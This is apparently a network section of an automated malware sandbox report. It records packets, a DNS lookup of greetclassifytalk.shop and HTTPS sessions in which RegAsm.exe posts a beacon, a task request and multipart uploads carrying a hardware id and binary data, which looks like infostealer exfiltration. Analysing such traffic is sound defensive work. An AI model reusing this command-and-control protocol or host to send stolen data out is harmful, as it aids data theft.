Apr 30, 2024 11:44:59.039098978 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:59.039241076 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.039266109 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:59.039273977 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.039330006 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:59.039411068 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.039434910 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.039452076 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.084124088 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:59.084300041 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.084336042 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.084348917 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.132128000 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:59.132297993 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.132354975 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.180119991 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:59.180206060 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.228121042 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:59.239650011 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:59.239779949 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.239784956 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:59.284112930 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:45:00.761173010 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:45:00.761250973 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:45:00.761307001 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:45:00.763180971 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:45:00.763199091 CEST	443	49737	172.67.177.98	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 30, 2024 11:44:49.867930889 CEST	58505	53	192.168.2.4	1.1.1.1
Apr 30, 2024 11:44:49.974630117 CEST	53	58505	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 30, 2024 11:44:49.867930889 CEST	192.168.2.4	1.1.1.1	0xf6dd	Standard query (0)	greetclassifytalk.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 30, 2024 11:44:49.974630117 CEST	1.1.1.1	192.168.2.4	0xf6dd	No error (0)	greetclassifytalk.shop		172.67.177.98	A (IP address)	IN (0x0001)	false
Apr 30, 2024 11:44:49.974630117 CEST	1.1.1.1	192.168.2.4	0xf6dd	No error (0)	greetclassifytalk.shop		104.21.51.78	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

greetclassifytalk.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.177.98	443	344	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-30 09:44:50 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: greetclassifytalk.shop
2024-04-30 09:44:50 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-30 09:44:50 UTC	798	IN	HTTP/1.1 200 OK Date: Tue, 30 Apr 2024 09:44:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q287a4st0c6b3m6cc1nv7c8ls4; expires=Sat, 24-Aug-2024 03:31:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nj7WzI5YK7pa5rXvcinxSOyWrVTa5KJCEdJKzN6pmYbrwJCP6zTkPqhtWAgbke47FlOMvRb8oaf2FIjeIV9CCXdONyj3Dq2MCfeiY2BZZzLJ1Fijhq5GJ1QZK3bVK8aNknRnbH2RImrs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87c69872ec511cd6-ORD alt-svc: h3=":443"; ma=86400
2024-04-30 09:44:50 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-30 09:44:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.177.98	443	344	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-30 09:44:50 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: greetclassifytalk.shop
2024-04-30 09:44:50 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 73 78 46 4b 75 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=4sxFKu--&j=default
2024-04-30 09:44:52 UTC	800	IN	HTTP/1.1 200 OK Date: Tue, 30 Apr 2024 09:44:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mf6eecfnplimki0e5j2lu9m7nl; expires=Sat, 24-Aug-2024 03:31:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qWIO4mpYXX9yVKSAJRYj49cHiYllnS3DJYUB3R2HSMJcxK1RswPAbPrConukFVTSbcSf1Hxw1rqsJRP4luKS82xi5aH9TgRPi20L96TAWkIx9sRo%2F6v7czmg2qMg932miyT9odEoApNr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87c69877bd772237-ORD alt-svc: h3=":443"; ma=86400
2024-04-30 09:44:52 UTC	569	IN	Data Raw: 35 30 39 0d 0a 65 61 67 66 71 33 39 4f 51 58 4f 61 78 6b 31 75 67 64 48 67 33 4a 79 6a 37 31 67 30 35 42 72 54 78 34 38 75 73 5a 30 37 75 74 63 43 6f 68 61 4a 43 57 78 37 55 36 37 71 52 32 65 6a 6f 6f 58 2b 70 6f 4f 62 4b 6b 47 42 4e 74 6e 4f 72 55 2f 56 76 77 47 61 73 52 6a 45 62 4d 35 54 52 45 68 52 39 37 35 76 56 4b 47 4b 36 74 58 6e 71 65 5a 52 46 6f 46 30 38 66 32 76 44 4d 62 34 57 64 2b 76 44 63 31 78 32 42 59 68 4c 7a 50 33 6f 7a 6b 50 37 4c 43 54 74 37 4c 4b 67 48 6f 59 37 68 50 61 35 65 70 55 6b 36 63 62 6d 4a 6f 63 33 48 37 6d 48 6a 30 71 55 62 62 4d 52 47 65 6a 74 4a 54 2b 70 6f 50 4e 42 42 61 55 65 36 47 6d 34 6c 33 74 76 77 48 42 69 31 76 42 61 38 34 4e 4c 7a 55 61 39 61 67 2b 4d 71 50 72 31 75 79 73 6b 39 39 6f 53 63 59 51 32 72 71 46 4a 2b Data Ascii: 509eagfq39OQXOaxk1ugdHg3Jyj71g05BrTx48usZ07utcCohaJCWx7U67qR2ejooX+poObKkGBNtnOrU/VvwGasRjEbM5TREhR975vVKGK6tXnqeZRFoF08f2vDMb4Wd+vDc1x2BYhLzP3ozkP7LCTt7LKgHoY7hPa5epUk6cbmJoc3H7mHj0qUbbMRGejtJT+poPNBBaUe6Gm4l3tvwHBi1vBa84NLzUa9ag+MqPr1uysk99oScYQ2rqFJ+
2024-04-30 09:44:52 UTC	727	IN	Data Raw: 45 50 57 6b 50 51 54 6f 75 49 65 73 39 63 69 41 4e 31 61 4c 63 72 36 6d 37 55 76 5a 39 56 62 53 73 52 62 48 65 38 6b 64 62 47 31 35 6b 38 39 76 43 2f 76 7a 32 76 79 2b 34 6f 67 71 55 59 70 75 38 35 2b 74 4a 4c 6a 67 46 37 50 33 57 61 49 57 30 48 56 48 53 46 48 2f 71 47 39 55 6f 66 4f 4b 75 2f 33 43 68 6a 56 56 6a 6e 4f 6a 70 66 39 4b 33 76 70 4c 33 72 41 56 77 48 37 62 46 79 49 6c 45 76 47 76 4a 67 6e 6b 74 38 4c 77 6c 71 72 6d 65 6c 47 65 4f 4f 6e 6e 72 57 33 65 39 46 58 53 6f 68 75 4b 46 61 49 43 59 6b 74 36 34 63 78 45 5a 36 4f 30 6a 76 36 6d 67 38 30 2b 56 34 4a 35 74 61 76 6a 53 4e 2f 35 56 39 57 36 48 63 42 39 7a 68 63 6b 4b 78 44 31 72 79 41 4d 35 72 36 47 75 50 4c 41 69 48 6f 59 37 68 50 61 35 65 70 55 6b 36 63 62 6d 4a 73 63 79 57 2b 4c 4b 43 38 Data Ascii: EPWkPQTouIes9ciAN1aLcr6m7UvZ9VbSsRbHe8kdbG15k89vC/vz2vy+4ogqUYpu85+tJLjgF7P3WaIW0HVHSFH/qG9UofOKu/3ChjVVjnOjpf9K3vpL3rAVwH7bFyIlEvGvJgnkt8LwlqrmelGeOOnnrW3e9FXSohuKFaICYkt64cxEZ6O0jv6mg80+V4J5tavjSN/5V9W6HcB9zhckKxD1ryAM5r6GuPLAiHoY7hPa5epUk6cbmJscyW+LKC8
2024-04-30 09:44:52 UTC	1369	IN	Data Raw: 33 38 61 62 0d 0a 46 2b 51 7a 7a 5a 6b 69 4e 6a 43 75 66 4b 42 31 58 67 57 67 48 53 30 71 75 4e 4d 33 66 35 55 33 72 45 57 79 6d 2f 50 44 79 73 69 45 76 75 69 4b 67 6a 6a 73 6f 65 37 2b 73 6d 4a 4e 6c 6e 47 4e 74 6e 4f 68 67 7a 55 35 78 6d 41 39 31 76 6c 61 73 63 4c 4a 7a 63 57 36 4c 55 56 54 74 61 77 6a 4c 44 35 31 38 31 53 50 5a 6b 32 32 63 37 30 4a 4c 69 55 47 64 2b 35 57 35 49 2f 69 52 51 2b 4d 52 58 2b 72 79 51 65 38 62 6d 47 76 2f 2f 47 67 6a 74 64 67 33 53 37 72 75 6c 65 32 2f 5a 61 79 72 45 62 77 58 66 50 58 57 4a 4c 65 70 50 6b 4b 42 53 6a 36 38 44 2b 32 73 79 64 4e 6c 32 51 66 36 47 51 37 6b 4c 64 2b 45 2b 59 33 58 44 56 4d 36 46 32 4e 55 74 36 6b 2b 51 6f 41 4b 50 72 77 50 37 78 7a 6f 49 79 56 6f 64 38 76 4b 48 73 51 64 2f 32 57 74 53 35 45 38 Data Ascii: 38abF+QzzZkiNjCufKB1XgWgHS0quNM3f5U3rEWym/PDysiEvuiKgjjsoe7+smJNlnGNtnOhgzU5xmA91vlascLJzcW6LUVTtawjLD5181SPZk22c70JLiUGd+5W5I/iRQ+MRX+ryQe8bmGv//Ggjtdg3S7rule2/ZayrEbwXfPXWJLepPkKBSj68D+2sydNl2Qf6GQ7kLd+E+Y3XDVM6F2NUt6k+QoAKPrwP7xzoIyVod8vKHsQd/2WtS5E8
2024-04-30 09:44:52 UTC	1369	IN	Data Raw: 49 53 38 61 39 4f 59 61 44 2b 32 39 68 61 69 2b 71 65 59 6c 47 4f 34 54 71 4d 32 47 4a 35 50 34 56 5a 6a 74 57 59 70 79 79 42 41 6d 4b 42 2f 30 70 53 38 49 34 4c 6d 43 73 66 76 48 68 54 4e 57 6c 48 2b 2b 70 4f 78 48 32 50 4a 58 33 62 51 65 7a 54 32 48 64 55 64 49 55 66 2b 38 62 31 53 68 38 36 2b 58 78 49 48 6c 55 55 6e 49 45 4e 71 38 68 53 65 34 76 31 37 55 39 55 4f 49 50 63 30 58 4c 43 34 62 38 36 73 73 43 2b 32 7a 6a 37 54 73 79 59 30 36 57 49 42 35 76 61 44 73 51 4e 44 74 56 64 36 34 48 63 4a 76 69 56 4e 45 53 48 71 34 6f 7a 64 4d 75 2f 48 43 6e 76 58 4e 6a 6a 5a 58 67 54 71 51 72 2b 35 48 33 37 31 73 32 37 73 56 7a 57 75 4a 64 55 63 38 58 35 44 50 4e 6d 53 49 32 4d 4b 35 38 6f 48 56 65 42 61 43 66 4c 32 6c 36 6b 4c 58 2b 56 54 66 76 68 62 41 65 73 55 Data Ascii: IS8a9OYaD+29hai+qeYlGO4TqM2GJ5P4VZjtWYpyyBAmKB/0pS8I4LmCsfvHhTNWlH++pOxH2PJX3bQezT2HdUdIUf+8b1Sh86+XxIHlUUnIENq8hSe4v17U9UOIPc0XLC4b86ssC+2zj7TsyY06WIB5vaDsQNDtVd64HcJviVNESHq4ozdMu/HCnvXNjjZXgTqQr+5H371s27sVzWuJdUc8X5DPNmSI2MK58oHVeBaCfL2l6kLX+VTfvhbAesU
2024-04-30 09:44:52 UTC	1369	IN	Data Raw: 50 32 68 4c 67 6a 76 75 59 53 39 2f 63 36 43 4e 56 37 47 4e 74 6e 4f 68 67 7a 55 35 78 6d 41 39 31 76 76 61 73 49 54 4b 6d 4e 35 6b 37 74 68 5a 49 69 71 36 74 57 56 67 59 6f 32 46 74 34 36 38 61 6e 6b 53 74 58 36 56 64 6d 7a 45 38 39 31 7a 52 77 71 4a 52 4c 33 6f 43 6f 4e 37 4c 65 4f 73 50 54 41 6a 44 5a 64 69 58 4f 30 35 61 4d 6b 75 4a 51 5a 33 36 31 62 6b 6a 2b 4a 4c 43 38 31 42 75 69 6f 62 32 53 49 72 4d 7a 57 6c 64 6a 6c 55 54 33 47 66 37 33 6c 74 51 36 54 2f 6b 76 53 76 78 58 50 63 73 77 65 49 79 51 63 2f 71 67 6c 42 65 75 31 6a 62 66 73 77 6f 45 30 55 59 68 30 76 36 6a 6e 54 39 36 2f 46 37 44 65 63 49 70 36 30 56 31 30 59 56 48 55 6f 79 49 69 36 4c 2b 46 2f 70 61 71 6b 6e 51 2b 37 57 48 5a 7a 6f 59 4d 31 50 4d 5a 67 50 64 62 78 6e 66 46 46 43 77 71 Data Ascii: P2hLgjvuYS9/c6CNV7GNtnOhgzU5xmA91vvasITKmN5k7thZIiq6tWVgYo2Ft468ankStX6VdmzE891zRwqJRL3oCoN7LeOsPTAjDZdiXO05aMkuJQZ361bkj+JLC81Buiob2SIrMzWldjlUT3Gf73ltQ6T/kvSvxXPcsweIyQc/qglBeu1jbfswoE0UYh0v6jnT96/F7DecIp60V10YVHUoyIi6L+F/paqknQ+7WHZzoYM1PMZgPdbxnfFFCwq
2024-04-30 09:44:52 UTC	1369	IN	Data Raw: 55 45 37 4c 79 51 76 2f 48 49 69 6a 46 62 69 58 61 30 71 2f 39 4c 32 50 52 52 30 62 73 64 69 6a 4f 68 64 6b 64 6a 46 75 44 6b 64 30 36 6a 68 59 47 77 39 64 43 43 4f 56 72 47 45 4e 71 36 6f 79 53 34 35 6a 47 7a 33 6c 76 4e 63 59 6c 46 62 6d 4d 64 39 71 51 67 41 4f 2b 34 69 72 2f 79 7a 34 6f 2f 58 34 35 77 6f 36 54 70 52 4e 4c 78 56 74 6d 78 48 73 39 35 7a 68 6b 71 4c 46 47 32 7a 45 52 6e 6f 37 53 61 2f 71 61 44 7a 52 56 52 6b 31 6d 4c 35 59 55 6e 7a 4c 45 78 73 36 78 7a 6f 52 61 4a 47 69 42 6a 53 62 72 6b 4a 51 66 6e 73 49 61 37 38 63 43 4d 50 45 53 42 63 61 4f 72 34 45 50 62 39 31 44 5a 73 52 37 48 65 38 55 58 4c 53 51 66 39 71 78 76 51 6f 76 59 36 66 37 35 32 63 31 69 46 4d 5a 5a 6f 62 37 2f 57 74 37 65 56 4e 66 31 63 36 46 69 68 33 56 48 4f 6e 6d 54 7a Data Ascii: UE7LyQv/HIijFbiXa0q/9L2PRR0bsdijOhdkdjFuDkd06jhYGw9dCCOVrGENq6oyS45jGz3lvNcYlFbmMd9qQgAO+4ir/yz4o/X45wo6TpRNLxVtmxHs95zhkqLFG2zERno7Sa/qaDzRVRk1mL5YUnzLExs6xzoRaJGiBjSbrkJQfnsIa78cCMPESBcaOr4EPb91DZsR7He8UXLSQf9qxvQovY6f752c1iFMZZob7/Wt7eVNf1c6Fih3VHOnmTz
2024-04-30 09:44:52 UTC	1369	IN	Data Raw: 37 68 72 66 2b 78 59 63 33 55 59 5a 39 76 4b 44 70 51 74 66 34 57 64 53 36 48 4d 4a 79 7a 52 30 6a 59 31 2b 51 7a 30 52 4d 35 4b 76 43 35 72 79 42 72 54 46 41 70 33 61 36 74 36 30 6b 75 4f 41 58 73 4e 34 43 6f 68 61 69 58 53 73 76 55 61 44 6d 62 77 4c 71 73 6f 71 77 38 73 6d 4a 4b 46 61 4e 63 62 36 6b 34 6b 7a 51 2f 6c 50 51 70 78 33 4b 64 73 45 61 4a 43 63 66 36 71 55 67 54 4b 33 62 36 64 57 2b 78 70 56 36 44 73 51 34 67 4c 50 71 53 39 79 39 63 4e 2b 75 47 73 42 2b 77 68 46 73 53 33 72 6e 36 6b 64 6e 2b 74 76 70 31 62 37 47 67 58 6f 4f 78 44 69 38 71 65 42 49 77 66 4e 5a 32 4c 77 63 77 47 2f 47 45 69 45 67 45 66 32 32 4c 68 37 73 75 49 65 39 2b 73 36 43 4e 6c 36 4d 4f 50 2f 4e 68 69 65 54 2b 45 47 59 37 56 6d 4b 55 63 6f 4d 4a 6d 45 32 34 72 49 6f 41 50 Data Ascii: 7hrf+xYc3UYZ9vKDpQtf4WdS6HMJyzR0jY1+Qz0RM5KvC5ryBrTFAp3a6t60kuOAXsN4CohaiXSsvUaDmbwLqsoqw8smJKFaNcb6k4kzQ/lPQpx3KdsEaJCcf6qUgTK3b6dW+xpV6DsQ4gLPqS9y9cN+uGsB+whFsS3rn6kdn+tvp1b7GgXoOxDi8qeBIwfNZ2LwcwG/GEiEgEf22Lh7suIe9+s6CNl6MOP/NhieT+EGY7VmKUcoMJmE24rIoAP
2024-04-30 09:44:52 UTC	1369	IN	Data Raw: 70 6f 50 4e 47 55 47 51 63 71 72 6c 68 53 66 4d 73 54 47 7a 72 48 4f 68 46 6f 6b 61 49 47 4e 4a 75 75 51 69 43 2b 32 37 68 4c 44 34 30 34 45 31 55 49 5a 35 75 36 6a 68 52 39 54 78 55 74 36 77 46 73 70 37 7a 78 6b 6f 4a 78 2f 37 35 47 46 6b 69 4e 6a 43 75 65 61 42 31 58 67 57 6f 56 57 41 35 38 35 62 78 66 56 65 31 4b 4d 51 79 33 37 66 45 44 78 6a 65 5a 4f 37 59 57 53 49 71 75 72 56 6c 59 47 4b 4e 68 62 65 4f 76 47 75 34 30 6e 53 38 31 50 66 75 77 6e 4c 64 38 55 63 4b 79 51 61 36 71 38 39 42 2b 75 77 6a 4c 62 33 77 59 4d 36 56 34 74 34 38 65 75 46 4a 37 69 2f 58 73 44 31 51 34 67 39 37 44 34 37 4e 52 75 36 68 7a 67 61 36 62 53 4f 71 50 58 41 6a 69 78 62 6c 6a 6a 5a 7a 76 49 43 75 35 52 41 73 4e 35 77 69 6e 72 46 58 58 52 68 55 66 4f 72 49 51 48 6f 74 34 75 Data Ascii: poPNGUGQcqrlhSfMsTGzrHOhFokaIGNJuuQiC+27hLD404E1UIZ5u6jhR9TxUt6wFsp7zxkoJx/75GFkiNjCueaB1XgWoVWA585bxfVe1KMQy37fEDxjeZO7YWSIqurVlYGKNhbeOvGu40nS81PfuwnLd8UcKyQa6q89B+uwjLb3wYM6V4t48euFJ7i/XsD1Q4g97D47NRu6hzga6bSOqPXAjixbljjZzvICu5RAsN5winrFXXRhUfOrIQHot4u
2024-04-30 09:44:52 UTC	1369	IN	Data Raw: 6c 45 57 67 6d 6e 78 2f 61 38 63 67 61 51 4d 69 2b 4a 4c 6d 42 57 69 41 6d 4a 4c 65 75 48 4d 52 47 65 6a 70 63 4c 6d 76 4a 50 44 55 6a 33 74 4f 4b 50 6c 74 51 36 54 75 46 66 56 74 42 6a 45 66 74 73 50 4b 69 41 48 2b 2b 4d 52 4d 73 4b 2b 69 62 4c 7a 7a 6f 59 45 61 4b 64 31 75 71 6e 67 51 39 6a 42 5a 38 32 32 46 63 52 36 33 77 78 73 62 58 6d 54 7a 32 38 44 6f 2b 76 41 68 37 36 4a 7a 51 55 59 37 68 50 61 35 66 55 4d 69 37 30 5a 37 62 59 56 78 48 72 66 44 47 45 43 48 50 4f 6f 49 67 50 6f 38 38 7a 57 6c 61 72 4e 50 42 62 65 4f 75 48 72 68 53 65 34 76 31 33 4a 39 55 4f 49 4c 5a 74 47 65 58 42 47 71 50 5a 48 5a 2f 7a 39 36 74 58 6e 71 65 5a 52 46 70 41 34 36 65 65 2f 41 72 75 55 4d 70 69 6e 57 35 49 2f 69 56 6f 76 4d 51 50 2b 70 7a 6b 50 70 49 32 38 6e 65 6e 58 Data Ascii: lEWgmnx/a8cgaQMi+JLmBWiAmJLeuHMRGejpcLmvJPDUj3tOKPltQ6TuFfVtBjEftsPKiAH++MRMsK+ibLzzoYEaKd1uqngQ9jBZ822FcR63wxsbXmTz28Do+vAh76JzQUY7hPa5fUMi70Z7bYVxHrfDGECHPOoIgPo88zWlarNPBbeOuHrhSe4v13J9UOILZtGeXBGqPZHZ/z96tXnqeZRFpA46ee/AruUMpinW5I/iVovMQP+pzkPpI28nenX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.177.98	443	344	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-30 09:44:52 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: greetclassifytalk.shop
2024-04-30 09:44:52 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 38 36 32 44 43 35 44 45 43 36 39 38 32 43 42 30 32 43 41 44 45 46 36 44 46 39 39 33 37 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F5862DC5DEC6982CB02CADEF6DF9937E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
2024-04-30 09:44:52 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-04-30 09:44:53 UTC	808	IN	HTTP/1.1 200 OK Date: Tue, 30 Apr 2024 09:44:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=52fh03v9qiboevmu3b412ufs0b; expires=Sat, 24-Aug-2024 03:31:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=usKO9heyONcvdQSQCkkmDhyJ1h11%2FyRqiLHaIfs6xJpbL4KtiEj02MCvh1oOWi8RvtEyh9rdSaLojGI3%2FRde0Gr%2BCwji9sBKH4d3W1qQpKJnmKowMiJCpj2ZyNwML3%2FpsidfSp%2FwMida"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87c698834a102d82-ORD alt-svc: h3=":443"; ma=86400
2024-04-30 09:44:53 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 39 2e 31 38 37 2e 31 38 32 2e 38 0d 0a Data Ascii: fok 89.187.182.8
2024-04-30 09:44:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	172.67.177.98	443	344	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-30 09:44:53 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8779 Host: greetclassifytalk.shop
2024-04-30 09:44:53 UTC	8779	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 38 36 32 44 43 35 44 45 43 36 39 38 32 43 42 30 32 43 41 44 45 46 36 44 46 39 39 33 37 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F5862DC5DEC6982CB02CADEF6DF9937E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
